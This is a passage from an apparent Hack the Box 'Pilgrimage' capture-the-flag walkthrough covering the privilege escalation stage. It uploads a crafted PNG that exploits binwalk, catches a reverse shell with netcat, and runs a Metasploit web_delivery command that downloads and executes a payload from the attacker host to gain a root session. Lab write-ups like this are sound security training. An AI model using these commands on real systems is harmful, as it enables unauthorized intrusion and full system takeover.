[*] Uploading  : /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png
[*] Uploaded -1.00 B of 250.89 KiB (-0.0%): /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png
[*] Completed  : /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png

And then I start a local netcat listener.

└─$ nc -nvlp 4444
listening on [any] 4444 ...

I move the binwalk_exploit2 file we uploaded to the proper directory. Recall that it should be in /var/www/pilgrimage.htb/shrunk based on our reading of the malwarescan.sh file.

emily@pilgrimage:/tmp$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/

And in the netcat listener, we have a bite.

└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.219] 51496

Because I am using metasploit, I then executed a web_delivery payload in the netcat listener window.

msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 10.10.14.11:9002 
[*] Using URL: http://10.10.14.11:9001/op2kjZ2gsQ5tv
[*] Server started.
[*] Run the following command on the target machine:
wget -qO SjEsyPzf --no-check-certificate http://10.10.14.11:9001/op2kjZ2gsQ5tv; chmod +x SjEsyPzf; ./SjEsyPzf& disown

And…

[*] 10.10.11.219     web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045348 bytes) to 10.10.11.219
[*] Meterpreter session 3 opened (10.10.14.11:9002 -> 10.10.11.219:32928) at 2023-08-16 01:03:50 -0400

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information           Connection
  --  ----  ----                   -----------           ----------
  1         shell linux            SSH hax @            10.10.14.11:44361 -> 10.10.11.219:22 (10.10.11.219)
  2         meterpreter x86/linux  emily @ 10.10.11.219  10.10.14.11:4433 -> 10.10.11.219:37268 (10.10.11.219)
  3         meterpreter x64/linux  root @ 10.10.11.219   10.10.14.11:9002 -> 10.10.11.219:32928 (10.10.11.219)

We are now root. 🙂

meterpreter > shell
Process 45204 created.
Channel 1 created.

whoami
root

cat /root/root.txt
e78**************************4b1

Hack the Box: Pilgrimage Walkthrough

Machine Stats

Enumeration

User Flag

Privilege Escalation & Root Flag

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